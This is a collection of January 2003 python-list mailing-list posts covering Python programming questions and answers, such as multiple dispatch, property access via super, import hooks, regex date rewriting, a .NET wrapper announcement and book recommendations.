> I tried during my seven years as a consultant to implement things like
> PSP for myself.  In all cases, the results were not useful, other than for
> one very important thing: they made me sensitive to the issues and laid
the
> foundation for my adoption of XP when I discovered it.

Thanks for the feedback. Did you find the record-keeping overhead of PSP to
be too "expensive"?

> There is no "code review" step in XP.  Code is reviewed second-by-second
> by your partner during development, and any time someone refactors it
after
> it is working.

Oops, I better re-read extremeprogramming.org more closely :-(


> Another very useful one has been to start using
> an "issue tracker" to track all issues with the project, and to prioritize
> them aggressively, in order to limit scope creep.  I'm constantly amazed
> that I ever got anywhere with previous projects (and by comparison I did
> not) when I had no focus on the concept of *business value* and let myself
> "play" in unproductive but very fun directions during the work.

We've started using ZwikiTracker.. I just wish my customer would be more
involved in entering and managing open issues and following my progress on
the wiki.

> But if you do nothing else, TDD alone will probably help you far more,
> and with far less cost, than any heavy process such as the SEI/PSP stuff.
>
> -Peter

Thanks for the tips.






-----------== Posted via Newsfeed.Com - Uncensored Usenet News ==----------
   http://www.newsfeed.com       The #1 Newsgroup Service in the World!
-----= Over 100,000 Newsgroups - Unlimited Fast Downloads - 19 Servers =-----



From pedronis at bluewin.ch  Fri Jan  3 15:42:23 2003
From: pedronis at bluewin.ch (Samuele Pedroni)
Date: Fri, 3 Jan 2003 21:42:23 +0100
Subject: Multiple dispatch again
References: <mailman.1041492423.21345.python-list@python.org> <3e14589e_5@news.bluewin.ch> <mailman.1041585365.7351.python-list@python.org> <3e15cc46_5@news.bluewin.ch> <mailman.1041620713.32178.python-list@python.org>
Message-ID: <3e15f605$1_4@news.bluewin.ch>

From: "David Mertz" <mertz at gnosis.cx>
> The way I handle things in my current implementation (only propogating
> dispatch AT_END or AT_START) already includes generic guards to prevent
> non-existing less specific methods from being called.  With a user
> controlled multi_super(), you would need to add your own guards, and
> change the flow to account for contingencies:
>
>     def semi_specific(this, that):
>         ...do stuff...
>         try:    # maybe there is *some* less specific method
>             val = multi_super()
>         except NothingLessSpecificError:
>             try_to_fix_things()
>         ...more stuff...
>
> Calling super() doesn't run into this problem.  Now I -could- try to do
> something "safe" in multi_super() as a fallback.  A 'pass' is pretty
> safe from an execution perspective.  But if 'semi_specific()' wants a
> return value, there is no way a fallback can guess a usuable value.

Still I don't see what is the difference:

>>> class A(object): pass
...
>>> class B(A):
...  def method(self):
...    return super(B,self).method()
...
>>> B().method()
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
  File "<stdin>", line 3, in method
AttributeError: 'super' object has no attribute 'method'

It is just like single dispatch, one does not write methods in a vacuum, one
has some knowledge about what signatures are covered,
and about the hierarchies.

multi_super should probably have a signature like:

multi_super(multimethod,signature,args...)

or be a method-as-useal of Dispatcher (?).

And yes I could produce Lisp fragments (((....))) using call-next-method.
And indeed there's also next-method-p

http://www-2.cs.cmu.edu/Groups/AI/html/hyperspec/HyperSpec/Body/locfun_next-
method-p.html

but it is rarely used (see the vacuum argument), e.g. Free CLIM codebase
does not use it.

regards.





From p-abel at t-online.de  Wed Jan 22 07:47:14 2003
From: p-abel at t-online.de (Peter Abel)
Date: 22 Jan 2003 04:47:14 -0800
Subject: max() of a list of tuples
References: <3e2d27c6$1_1@news.uni-bielefeld.de> <ygaX9.4400$bL4.431294@newsread2.prod.itd.earthlink.net> <13a533e8.0301211252.187ffeb9@posting.google.com> <b0l57d$12j$1@wheel2.two14.net>
Message-ID: <13a533e8.0301220447.802ca54@posting.google.com>

Martin Maney <maney at pobox.com> wrote in message news:<b0l57d$12j$1 at wheel2.two14.net>...
> Peter Abel <p-abel at t-online.de> wrote:
> > Silly me!!!
> > The correct code is:
> >>>> l = [(1, 3, 5), (8, 16, 2), (2, 56, 4)]
> >>>> reduce(lambda y,x:y[2]>x[2] and y or x,l,(-1.e16,-1.e16,-1.e16))
> > (1, 3, 5)
> 
> Why not (None,None,None) as the initial value?
> 
> (no, really, I don't know.  it just seemed natural in the same way that
> thinking "reduce is the answer" seemed as it popped into my head when I
> first saw the OP's question.  None does seem to compare as less than
> anything else (and, yeah, trying it seemed more natural than looking it
> up - I think Python may be eating my mind, but I can't bring myself to
> worry about it))

Believe me, I'm not at all happy with (-1.e16,-1.e16,-1.e16).
It's only because nothing else came into my head.
I tried ('','','') and it worked too ?? But
as I remarked later, only in this special case.
So the solution is to start with the first element of l.
And the the tuples can be what they want: integer, floats etc.

reduce(lambda y,x:y[2]>x[2] and y or x,l,l[0])

I think it's the best initial value one can choose.
Peter



From exarkun at intarweb.us  Sun Jan 19 15:55:55 2003
From: exarkun at intarweb.us (Jp Calderone)
Date: Sun, 19 Jan 2003 15:55:55 -0500
Subject: Strange windows behavior
In-Reply-To: <d232c5e.0301191113.1ec6f9e5@posting.google.com>
References: <d232c5e.0301191113.1ec6f9e5@posting.google.com>
Message-ID: <20030119205555.GA25288@meson.dyndns.org>

On Sun, Jan 19, 2003 at 11:13:39AM -0800, Chris Lyon wrote:
> [snip idle and interactive python behave differently]

> How is this possible, different responses from python?

  IDLE is not Python.  IDLE is a development environment for Python (in
Python).  It takes extra measures in its interactive window to make things
pretty and nice.  Notice how it colors things too?  Does your shell do that? 
Indentation is just another perk.

 Jp

-- 
When my fist clenches crack it open,      And if I swallow anything evil,
Before I use it and lose my cool.         Put you finger down my throat.
When I smile tell me some bad news,       And if I shiver please give me 
Before I laugh and act like a fool.                 a blanket,
                                          Keep me warm let me wear your coat

No one knows what it's like to be the bad man, to be the sad man.
Behind blue eyes.  No one knows what its like to be hated, to be fated,
To telling only lies.
                        -- The Who
--
 12:00am up 34 days, 9:48, 3 users, load average: 0.23, 0.25, 0.22
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 196 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-list/attachments/20030119/e7468445/attachment.sig>

From hancock at anansispaceworks.com  Fri Jan 24 03:51:56 2003
From: hancock at anansispaceworks.com (Terry Hancock)
Date: Fri, 24 Jan 2003 08:51:56 GMT
Subject: Python use growing or shrinking
References: <v2rhpd4d6p8f79@corp.supernews.com> <3E2F9732.795D5FD3@alcyone.com> <fRWX9.8372$Sv3.804461@newsread1.prod.itd.earthlink.net> <3E308B05.913B1180@alcyone.com>
Message-ID: <M87Y9.355$U27.35796@newsread2.prod.itd.earthlink.net>

Erik Max Francis wrote:
> Terry Hancock wrote:
>> >>> for k,v in kv:
>> ...     print "%s\t%5d\t%5.1f%%" % (k, v, (float(v)/sum)*100)
> 
> It's tempting to scale them all as a percentage of a total, but it has a
> lie-with-statistics flaw:  If you add more languages, it looks like the
> ratings of all the others go down, even though that isn't the case.

Yeah, maybe I should've mentioned that -- one might try to think of these 
numbers as being percentages of "all software development pages", but of 
course, they're not. It's just a percentage of the pages listed.  It might 
make more sense to scale relative to one representative member. But which 
one?

-- 
Anansi Spaceworks
http://www.anansispaceworks.com



From peter at engcorp.com  Tue Jan 28 19:45:22 2003
From: peter at engcorp.com (Peter Hansen)
Date: Tue, 28 Jan 2003 19:45:22 -0500
Subject: [Q] Customizable text editor based on Python?
References: <1fpidub.1nl29qx1bozn22N%eRrEiMcOgVoErMrE@cox.net>
Message-ID: <3E372422.30E3AEAB@engcorp.com>

Eric wrote:
> 
> I was wondering if people could point me to a text editor which can be
> extended using Python, similar to how Emacs can be extended via LISP and
> Alpha can be extended via TCL/TK.

Check here: http://www.python.org/editors/index.html

-Peter



From kricxjo.neniuspamajxo at yahoo.com  Wed Jan 22 09:22:47 2003
From: kricxjo.neniuspamajxo at yahoo.com (Christopher Culver)
Date: Wed, 22 Jan 2003 15:22:47 +0100
Subject: Newbie asks, how to get rid of the last four characters of a string?
Message-ID: <pan.2003.01.22.14.22.46.534199@yahoo.com>

I'm somewhat new to Python and have run into this problem: I have a script
whose first argument takes a MS Word file, which would end with .doc. I
want to remove ".doc" and have just the file name without extension. Now,
I know I can do this with regular expressions, but is there a function
that can be used to chomp off the last four characters without having to
import the re module?

Christopher Culver <christopher_culver at yahoo.com>



From zenguyuno at yahoo.com  Mon Jan 27 22:09:19 2003
From: zenguyuno at yahoo.com (zenguyuno at yahoo.com)
Date: Tue, 28 Jan 2003 03:09:19 GMT
Subject: Please Recommend a C compiler for use with Python.
References: <3E35513E.6D5CE8B5@lvcm.com>
Message-ID: <3E35F4F2.3851F7E3@lvcm.com>

zenguyuno at yahoo.com wrote:
> 
> I'm a has-been programmer.  I used to be quite skilled at C, but I
> haven't used it for 7 years.  I don't even have a C compiler!  The only
> language I currently use is Python.  I want to extend Python by writing
> routines in C.
> 
> I use a generic PC running Win 98.  What's a good, Easy-to-use and
> install, ANSI C compiler?  I might mention that I mainly want to extend
> Python by writing routines in C.

Some peeps recommended the Bloodshed IDE.  I looked over the website
and got a good impression, and I like a good IDE, so I downloaded it. 
I just tried it out on some real simple stuff and it worked fine.

I will let you guys know in a week what I think of it.

Thanks for the recs!

m

"The ad hominem argument is usually true." - Timin



From cben at techunix.technion.ac.il  Wed Jan 22 08:53:58 2003
From: cben at techunix.technion.ac.il (Beni Cherniavsky)
Date: Wed, 22 Jan 2003 15:53:58 +0200
Subject: How to call the super implementation of a property?
In-Reply-To: <2osq2vo3qqgg1nrdg3ude0oms62et81uks@4ax.com>
References: <2osq2vo3qqgg1nrdg3ude0oms62et81uks@4ax.com>
Message-ID: <Pine.GSO.4.44_heb2.09.0301221546180.21170-100000@techunix.technion.ac.il>

On 2003-01-21, Gon?alo Rodrigues wrote:

> I know I can do
>
> >>> test.n.__get__(b)
> 8
> >>>
>
> But how do I achieve the same using super (for an MI scenario)?
>
Seems that this part is lacking in `super` indeed (I played with it at the
prompt a long time with no success)...

If you control all your classes, there is a simple solution - use `super`
on the accessor method and not on the property:

class test(object):
    def get_n(self):
        return 1
    n = property(get_n)

class test2(test):
    def get_n(self):
        return super(test2, self).get_n() + 1
    n = property(get_n)

This only works if all the classes use the same name for the getter
function (that why I didn't use ``__get_n`` - why did you want mangling
anyway?).

The other solution is to implement your own lookup through the MRO - see
http://www.python.org/2.2.1/descrintro.html#cooperation for an example of
how the current behaiviour of `super` can be written in pure Python.

-- 
Beni Cherniavsky <cben at tx.technion.ac.il>




From pyth at devel.trillke.net  Thu Jan 30 14:23:06 2003
From: pyth at devel.trillke.net (holger krekel)
Date: Thu, 30 Jan 2003 20:23:06 +0100
Subject: Implicit lists
In-Reply-To: <JWd_9.105583$0v.3054327@news1.tin.it>; from aleax@aleax.it on Thu, Jan 30, 2003 at 06:12:57PM +0000
References: <m4di3v4koufdbf4e2pvsanegli2kqt48ch@4ax.com> <6ob_9.104776$0v.3032021@news1.tin.it> <x7bs1y1txx.fsf@guru.mired.org> <mwm@mired.org> <200301301648.h0UGmTjL000999@ratthing-b246.strakt.com> <mailman.1043949408.14743.python-list@python.org> <JWd_9.105583$0v.3054327@news1.tin.it>
Message-ID: <20030130202306.X10804@prim.han.de>

Alex Martelli wrote:
> holger krekel wrote:
>    ...
> > I think it's safer to skip "iteration" with an explicit
> > 
> >     isinstance(arg, (str, unicode))
> > 
> > check.  It's also simpler to read and understand.
> 
> And it breaks *EVERY* use of UserString -- a module in the
> standard Python library, even!!! -- not to mention user-coded
> string-like types and classes.  *shudder*.

sorry, but fewer scream-emoticons would suffice to make 
your point.  

> A class is string-like if it acts like a string.

The problem is how to catch the string-likeness in
explicit terms.  You propose to execute 

    obj + 'somestring'

and see if it throws a type error.  To me this
definition of 'string-like' makes some sense but 
is arbitrary.  (At least you get problems with 
iterable objects that define an __add__ method which 
accepts strings, you know that).  

However, it feels like an implicit kind of type-check.  
The general pythonic "avoid checking for types, just
work with behaviour and catch exceptions" does not
really apply here.  We want to *prevent* something 
instead of react to erranonous behaviour.  

> def isstringlike(x):
>     try: return x+'!'
>     except TypeError: return False

This will often work, as you said.  But if this behaviour
is (in some way) exposed in a public API then users 
might get strange surprises when passing in their own stuff.
You never know what strange classes might get passed in.
Maybe it's a "filename" class that allows iteration and
allows __add__ with strings?  

regards,

    holger




From cgjunkaddr at attbi.com  Fri Jan 31 01:17:28 2003
From: cgjunkaddr at attbi.com (Chetan Gadgil)
Date: Fri, 31 Jan 2003 06:17:28 GMT
Subject: kobra (.NET for Python) Update
Message-ID: <Yxo_9.96775$rM2.49302@rwcrnsc53>

Well, after many headaches, I decided to get rid of the mapping between
Python tuples/lists to .NET arrays.

Partially due to the fact that Python lists and tuples are not strongly
typed, but more because .NET already has Collection types, and I wanted this
layer to be thin, I decided to get rid of this mapping.
So now, the impact:

You can no longer expect strongly typed arrays. In other words, .NET treats
String[] differently from Object[] containing "String" objects.

You can still pass arrays of arrays - they will all map to Object[][]...

But to simply pass strongly typed arrays, you can just create an ArrayList
object, add objects and call "ToArray"

For an example see the docs:

http://www.gadgil.net/DotNetWrapperForPython.htm


Python 2.2.2 (#37, Oct 14 2002, 17:02:34) [MSC 32 bit (Intel)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> import kobralib
>>> coll1 = kobralib.createObject("mscorlib",
"System.Collections.ArrayList", 0)
kobra - A Python Wrapper for .NET
Copyright (C) 2003 Chetan Gadgil (chetan at gadgil dot net)
All Rights Reserved
>>> coll1.Add("managerRole")
0L
>>> asm = coll1.GetType().Assembly()
>>> t1 = asm.GetType("System.String")
>>> ma = coll1.ToArray(t1)

I know, this is a bit roundabout, but I will add utility methods to the
Python layer.

A newer version with a fix for a serious ClassCastException is also
available:


http://www.gadgil.net/files/kobralib-1.5.win32.exe


Regards
Chetan Gadgil





From jwb at bluemarble.net  Sat Jan 11 14:23:10 2003
From: jwb at bluemarble.net (John Burgoon)
Date: Sat, 11 Jan 2003 14:23:10 -0500
Subject: I am looking for small projects for work experience
References: <mailman.1042176618.13042.python-list@python.org>
Message-ID: <v20re5hb2131b@corp.supernews.com>

May I suggest you send your request to your local public library, or perhaps
school library?  They are likely to have some modest task that you can do
(althought it may take a bit of work to realize what that might be :) and
library volunteerism looks good on a resum?.

Just a thought.





From heiland at ncsa.uiuc.edu  Wed Jan 22 07:12:05 2003
From: heiland at ncsa.uiuc.edu (Randy Heiland)
Date: Wed, 22 Jan 2003 06:12:05 -0600
Subject: dynamic variables; globals
Message-ID: <3E2E8A95.FE285970@ncsa.uiuc.edu>

I want to do something like the following:

>>> def func(sarg):
...   exec(sarg)
...
>>> func('foo=11')
>>> func('print foo')

but of course, I get the following:

Traceback (most recent call last):
  File "<stdin>", line 1, in ?
  File "<stdin>", line 2, in func
  File "<string>", line 1, in ?
NameError: name 'foo' is not defined

Style & security notwithstanding, is there some way to add a dynamic
variable to the globals list?

thanks,
Randy




From jb at cascade-sys.com  Thu Jan  9 16:18:54 2003
From: jb at cascade-sys.com (James J. Besemer)
Date: Thu, 09 Jan 2003 13:18:54 -0800
Subject: Confusion about numbers
References: <jr2q1vspelp0ddbi665rsodokmk4fvsbal@4ax.com> <b3adnUDDJJdaioCjXTWcpA@comcast.com>
Message-ID: <3E1DE73E.5060307@cascade-sys.com>

Terry Reedy wrote:

> The unification will not be complete until 2.4 or 2.5.  Changes that
> break code will only be introduced after at least one release that
> emits warning.

So THAT'S why 1<<32 == 0 in 2.2.2?

--jb


-- 
James J. Besemer		503-280-0838 voice
2727 NE Skidmore St.		503-280-0375 fax
Portland, Oregon 97211-6557	mailto:jb at cascade-sys.com
				http://cascade-sys.com	






From geoff at gerrietts.net  Fri Jan 31 17:55:22 2003
From: geoff at gerrietts.net (Geoff Gerrietts)
Date: Fri, 31 Jan 2003 14:55:22 -0800
Subject: Setting a Global Default for class construction?
In-Reply-To: <b1erj009ok@enews3.newsguy.com>
References: <b1erj009ok@enews3.newsguy.com>
Message-ID: <20030131225522.GF23017@isis.gerrietts.net>

Quoting Josh English (english at spiritone.com):
> Here is the code that I am struggling with in a Python module:
> 
> _Thing = "it"
> 
> def SetThing(s):
> 	global _Thing
> 	_Thing = str(s)
> 
> class NewThing:
> 	def __init__(self,thing=_Thing):
> 		self.Thing = _Thing
> 
> I thought that this would work if I called:
> 
> >>>SetThing('hallo')
> >>>a = NewThing()
> >>>a.Thing
> 'it'
> 
> I would expect a.Thing to return 'hallo', not 'it'. Is this possible to 
> do in Python?

Lots of ways to do it. The quick and dirty way is not as nice as the
easy way, so we'll do the easy way:

class _ThingClass:
  thing = "it"
_Thing = _ThingClass()

def SetThing(s):
  global _Thing
  _Thing.thing = str(s)

class NewThing:
  def __init__(self, thing=_Thing):
    self.Thing = thing.thing

  def alternate_init(self):
    self.Thing = _Thing.thing

  def second_alternate(self):
    self.Thing = _Thing

Now, the code will do roughly what you expect.
>>> SetThing('hallo')
>>> a = NewThing()
>>> a.Thing
'hallo'

But one thing that's important to note is that if we continue, it
might not.

>>> SetThing('goodbye')
>>> a.Thing
'hallo'

The issue you're running up against is that your assignment in
SetThing is changing which object (string) the global name "_Thing" is
bound to. You're not changing some object "_Thing", you're pointing
the name "_Thing" at some new object.

In your example, the name "self.Thing" is being pointed at the value
of the global name "_Thing", at construction time for the instance.
When the object is constructed, _Thing points at "it".

Meanwhile, thing=_Thing is pointing the name "thing" at the object
pointed to by the global name "_Thing". This assignment is performed
at "compile-time", when the __init__ function is defined. That means
"thing" will always point at "it", regardless of when you instantiate
your objects.

A rough diagram:

 before SetThing:
   +---------+                  +------+
   | _Thing  |   ---------->    | "it" |
   +---------+                  +------+

                                +---------+
                                | "hallo" |
                                +---------+
                              
  
 after SetThing:

                                +------+
                                | "it" |
                                +------+

   +---------+                  +---------+
   | _Thing  |   ---------->    | "hallo" |
   +---------+                  +---------+


In the revised code example, __init__ assigns the local name "thing"
to the object pointed to by the global name "_Thing". The global name
"_Thing" points to an instance of the _ThingClass class. Then, we
assign the name "self.thing" to point at the "thing" attribute on that
object. This results in the behavior you were expecting, because the
object never changes -- its attributes do. 

A diagram:

 before SetThing:
   +---------+   +--------+ 
   | _Thing  |-->| object | 
   +---------+   |--------|    +------+
                 | *thing |--->| "it" |
                 +--------+    +------+
                            
                               +---------+
                               | "hallo" |
                               +---------+
                            

  after SetThing:
                               +------+
                               | "it" |
   +---------+   +--------+    +------+
   | _Thing  |-->| object | 
   +---------+   |--------|    +---------+
                 | *thing |--->| "hallo" |
                 +--------+    +---------+
                            

In the code example, the alternate_init is equivalent to the __init__,
but without the "optional" argument. The second_alternate doesn't do
exactly the same thing as the other examples. This second alternate
could be used to always have access to the newest _Thing.thing value,
but it would require printing a.Thing.thing instead of a.Thing.

Wow, a lot more than I meant to write on this topic, hope it helps.

--G.

-- 
Geoff Gerrietts             "People talk fundamentals and superlatives 
<geoff at gerrietts net>     and then make some changes of detail." 
http://www.gerrietts.net                  --Oliver Wendell Holmes Jr




From u9300103 at mail.lssh.tp.edu.tw  Tue Jan 21 06:49:56 2003
From: u9300103 at mail.lssh.tp.edu.tw (Tiberius Teng)
Date: 21 Jan 2003 03:49:56 -0800
Subject: Python web development, really
References: <mailman.1043106158.29183.python-list@python.org>
Message-ID: <9d791d77.0301210349.3ec785ed@posting.google.com>

Again, I would recommend Spyce (http://spyce.sourceforge.net/).

Check it out. :)



From b.maryniuk at forbis.lt  Wed Jan 15 03:25:34 2003
From: b.maryniuk at forbis.lt (Bo M. Maryniuck)
Date: Wed, 15 Jan 2003 10:25:34 +0200
Subject: Boa vs. PythonCard
In-Reply-To: <8a27e309.0301141130.a1f6140@posting.google.com>
References: <pan.2002.12.02.21.04.52.49750.699@thomas-guettler.de> <3E23EFB0.7080101@remov_try_vanderkleyn.com> <8a27e309.0301141130.a1f6140@posting.google.com>
Message-ID: <200301151025.34723.b.maryniuk@forbis.lt>

On Tuesday 14 January 2003 21:30, R.Marquez wrote:
> > ...I've been testing Boa Constructor for a few days and
> >    consider it to be 'stable enough' for small(ler) programs. That is
> > the version straight from CVS, not one of the downloads on sourceforge.
>
> Actually, a new release of Boa has just been posted! I'm done
> downloading it so you may now go ahead ;).

It's crashes. Probably wants newest wxPython...

Traceback (most recent call last):
  File "Boa.py", line 574, in ?
    main()
  File "Boa.py", line 555, in main
    app = BoaApp()
  File "Boa.py", line 378, in __init__
    wxApp.__init__(self, false)
  File "/usr/lib/python2.2/site-packages/wxPython/wx.py", line 1581, in __init__
    _wxStart(self.OnInit)
  File "Boa.py", line 421, in OnInit
    self.main.initPalette(inspector, editor)
  File "/home/bo/boa/Palette.py", line 177, in initPalette
    wxGenBitmapButton)
  File "/home/bo/boa/Palette.py", line 490, in addButton2
    mID = PanelPalettePage.addButton(self, name, Controller, None, self.OnClickTrap, None, None, btnType)
  File "/home/bo/boa/Palette.py", line 457, in addButton
    wxSize(width, height))
  File "/usr/lib/python2.2/site-packages/wxPython/lib/buttons.py", line 323, in __init__
    wxGenButton.__init__(self, parent, ID, "", pos, size, style, validator, name)
  File "/usr/lib/python2.2/site-packages/wxPython/lib/buttons.py", line 78, in __init__
    self.InitColours()
  File "/usr/lib/python2.2/site-packages/wxPython/lib/buttons.py", line 142, in InitColours
    self.SetBackgroundColour(faceClr)
  File "/usr/lib/python2.2/site-packages/wxPython/lib/buttons.py", line 154, in SetBackgroundColour
    wxWindow.SetBackgroundColour(self, colour)
TypeError: unbound method SetBackgroundColour() must be called with wxWindow instance as first argument (got wxGenBitmapButton instance instead)

-- 
Regards, Bogdan

To err is human... to really foul up requires the root password.





From BPettersen at NAREX.com  Sat Jan  4 12:56:05 2003
From: BPettersen at NAREX.com (Bjorn Pettersen)
Date: Sat, 4 Jan 2003 10:56:05 -0700
Subject: Distributing Python apps
Message-ID: <60FB8BB7F0EFC7409B75EEEC13E2019201BFDE80@admin56.narex.com>

> From: Norman Skrzypinski [mailto:zypin at sympatico.ca] 
> 
[...]
> 
> From what I have read in the "Distributing Python Modules" 
> section of the Python Documentation (Release 2.2.2, October 
> 14, 2002), both source and built distributions can be 
> installed only by users who have Python installed on their 
> machines.  They do not "standalone".

Depending on your relationship to the consumers of your software this
may or may not be an issue. Most people actually don't care if you
install the entire Python distribution just to run your 50 line
script...

> Until you mentioned it, I was unaware of py2exe.  After 
> reading the Python documentation, however, I read the first 
> sentence on Gordon McMillan's web page 
> (http://www.mcmillan-inc.com/install1.html), > which states, 
> "Distributing Python Apps...is a pain, 
[...]

And Gordon is correct that there is no magic button but it's a lot
easier than he gives the impression of (with certain exceptions, I'm
sure). Expect to spend anywhere from 2 minutes to an hour the first time
you want to go from working application to installable application
(mostly looking up the specs for the config file). After that it's like
running any other program, chug, chug, installer/single executable. No
fuzz, no interaction.

Personally, I avoided this step for about six months more than I should
have because I expected it looked too difficult. When I sat down and had
a working executable within five minutes I definitely got the warm
fuzzies <grin>.

So, as one of my teachers used to say: "don't assume anything is
impossible until you've failed spectacularly".

-- bjorn




From sir_penguin.geo at yahoo.com  Tue Jan  7 17:20:26 2003
From: sir_penguin.geo at yahoo.com (Neil MacMillan)
Date: 7 Jan 2003 14:20:26 -0800
Subject: Books: Core Python Programming vs. Python Cookbook
References: <mailman.1041965120.8388.python-list@python.org>
Message-ID: <f774ba3f.0301071420.7eb4e246@posting.google.com>

David, I've had your book bookmarked in my Python directory for a
little while.  Thanks, but I'm afraid I'm not going to be able to
budget for it yet. :p

Thank you everybody.  I've decided to get just the Cookbook.  I'm sure
that for anything that isn't explored deeply enough for me, there's
something on the web that explains it (and if not, it's nothing a
couple hours with the interactive prompt, the source, and the library
reference can't explain).  Besides, it's a lot easier to carry the
Cookbook around in my backpack library than Core Python would be.

And I must say, after buying textbooks, it's nice to be able to get a
book I'll actually enjoy for 1/5 the price of a text.

Neil M.

mertz at gnosis.cx (David Mertz) wrote in message news:<mailman.1041965120.8388.python-list at python.org>...
> sir_penguin.geo at yahoo.com (Neil MacMillan) wrote previously:
> |I'm a 1st year computer science student, but I've been teaching myself
> |Python as my first useful programming language
> |Core Python for explanations of specific things...
> |I looked at Python Cookbook, which seemed interesting too.
> 
> Of these two, I would recommend Chun's book to someone just learning
> Python.  In fact, of the more than half dozen introductory books, _Core
> Python_ is probably my favorite, but _Learning Python_ and _Python
> Bible_ are both good (avoid the Martin Brown titles at all costs; all
> the others are OK).
> 
> _Python Cookbook_ is a really nice book, but it is aimed more at
> experience Python programmers looking for clever tricks and techniques
> that they may not have thought of.  I think a beginner might get
> disoriented by _Cookbook_.  However, I look forward to Martelli's
> _Python in a Nutshell_, which I'm sure will be an excellent
> introduction, but that's not quite on shelves yet.
> 
> Of course, my vanity has to proclaim that you should read my book,
> <http://gnosis.cx/TPiP/>.  On the big downside, you won't be able to by
> that on shelves until a couple months after you can get _Nutshell_.
> Still, you are free to download the text for personal use now.
> 
> Yours, David...



From just at xs4all.nl  Thu Jan  2 15:17:55 2003
From: just at xs4all.nl (Just)
Date: Thu, 02 Jan 2003 21:17:55 +0100
Subject: 2.3a1: importhooks oddity
References: <ySNQ9.8812$9N5.914447@newsread2.prod.itd.earthlink.net> <just-60C271.18474702012003@news1.news.xs4all.nl> <3E148DD6.5040003@earthlink.net> <just-943E0F.20173402012003@news1.news.xs4all.nl> <3E1497C4.1070605@earthlink.net>
Message-ID: <just-24959C.21175502012003@news1.news.xs4all.nl>

In article <3E1497C4.1070605 at earthlink.net>,
 Hans Nowak <wurmy at earthlink.net> wrote:

> OK, updated code:
> 
> import sys
> 
> print '' in sys.path
> print '' in sys.path_importer_cache.keys()
> 
> def f(path):
>      print "Wahey!", `path`
>      raise ImportError
> 
> sys.path_hooks.append(f)
> 
> import nothing
> 
> On Windows:
> 
> (P:\test\2.3) $ python test-importhooks-2.py
> True
> True
> Traceback (most recent call last):
>    File "test-importhooks-2.py", line 14, in ?
>      import nothing  # needless to say, doesn't exist
> ImportError: No module named nothing
> 
> On Cygwin:
> 
> (P:\test\2.3) $ c:\cygwin\usr\local\bin\python2.3.exe test-importhooks-2.py
> True
> False
> Wahey! ''
> Traceback (most recent call last):
>    File "test-importhooks-2.py", line 14, in ?
>      import nothing  # needless to say, doesn't exist
> ImportError: No module named nothing
> 
> The empty string '' isn't a key in sys.path_importer_cache, apparently. 
> (Interesting, when I run Cygwin-Python's interactive interpreter, and inspect 
> sys.path_importer_cache, the empty string *is* there...)

sys.path_importer_cache only contains values for path items that have 
been touched. This means that if all imports succeed before the end of 
sys.path is reached, the last item(s) won't have values in the cache. 
Perhaps cygwin doesn't do any failing imports at startup? I think os.py 
catches some ImportErrors, but maybe there are other places as well. Can 
I see the contents of both systems' sys.paths, both with and without -S?

> When run with -S, both scripts produce a whole list of Wahey's, and the two 
> conditions at the beginning are True and False, respectively.

That was expected, as Python doesn't do any file system imports by 
itself, so site.py actually fills the cache.

> >>If I understand correctly, then registering any function or class in
> >>path_hooks is useless on Windows for path "", since it will be bypassed.
> > 
> > Not sure what you mean. I'd think you could still register a hook for "" 
> > and make it do "something".
> 
> Hmm, well, I mean, that if a Windows user innocently runs code like
> 
> def f(path):
>      # do something...
> 
> sys.path_hooks.append(f)
> 
> then this has no effect at all, because the function is just skipped.  Sure, 
> I 
> now know that I have to clear the cache (or maybe manipulate it in other 
> ways), 
> but this behavior still seems confusing. (And on a superficial level, 
> *appear* 
> to be non-portable... a script would work on one platform but not on the 
> other.) 

Hm, what's in the cache is highly platform dependent, as is (eg.) what's 
in sys.modules.

There are two idioms for adding path hooks:
1)
    sys.path_hooks.append(myhook)
    sys.path.append(item_that_myhook_likes)
2)
    sys.path_hooks.append(myhook)
    sys.path_importer_cache.clear()  # take over existing path items

> Now I realize that installing import hooks is not something you'd do 
> every day, and probably not for the faint of heart, but still... maybe this 
> caveat should be documented somewhere?

Documentation still needs to be done, and I'll try my best to document 
all subtleties in there. (Not that the __import__ subtleties are all 
that well documented...)

Just



From dkt at registriesltd.com.au  Thu Jan 16 17:21:55 2003
From: dkt at registriesltd.com.au (David K. Trudgett)
Date: Fri, 17 Jan 2003 09:21:55 +1100
Subject: Regex replacement operation
In-Reply-To: <1042698561.3593.127.camel@x1-6-00-04-5a-64-c4-03>; from clifford.wells@attbi.com on Wed, Jan 15, 2003 at 10:29:21PM -0800
References: <20030116153725.C1683@regdp-02.intint.registriesltd.com.au> <1042698561.3593.127.camel@x1-6-00-04-5a-64-c4-03>
Message-ID: <20030117092155.F1683@regdp-02.intint.registriesltd.com.au>

Thanks, Cliff, I didn't expect to be spoon fed like that! You've
spoilt me now (but saved me some time!).

On Wednesday 2003-01-15 at 22:29:21 -0800, Cliff Wells wrote:

> Anyway, here are two different (yet similar) implementations.  The
> second is mostly to demonstrate some useful features of the re module
> and Python string interpolation.  I'm sure it can be done better :P

Maybe, but not by me! I like the first example for its conciseness. I
also like the "int(d) for d in subdate" bit. That line didn't even
parse in Python 1.5.2, so it must be a relatively new addition.

The second example with named groups is quite interesting. Perl
doesn't even have that (probably will in Perl 6, though, because
they're taking the opportunity to overall Perl's regex syntax, which
sort of grew into a bit of a tangled web over the years).

> 
> 
> # ===== Example 1 ======
> 
> import re
> 
> s = 'Today is 16-1-2003 or 16-01-2003. New Year was 1-1-2003, reportedly.'
> 
> rexp = re.compile('(\d\d?-\d\d?-\d\d\d\d)')
> 
> for date in rexp.findall(s):
>     subdate = date.split('-')
>     subdate.reverse()
>     subdate = "%d-%02d-%02d" % tuple([int(d) for d in subdate])
>     s = re.sub(date, subdate, s)
> 
> print s
> 
> 
> # ===== Example 2 ======
> 
> 
> s = 'Today is 16-1-2003 or 16-01-2003. New Year was 1-1-2003, reportedly.'
> 
> rexp = re.compile('(?P<date>(?P<day>\d\d?)-(?P<month>\d\d?)-(?P<year>\d\d\d\d))')
> 
> for match in rexp.finditer(s):
>     groupdict = match.groupdict()
>     for i in groupdict:
>         try:
>             groupdict[i] = int(groupdict[i])
>         except ValueError: # date key isn't a valid int
>             pass
>     subdate = "%(year)d-%(month)02d-%(day)02d" % groupdict
>     s = re.sub(groupdict['date'], subdate, s)
> 
> print s

Thanks again for your time. I know stuff like that doesn't get put
together in five minutes.

Bye for now.

David Trudgett







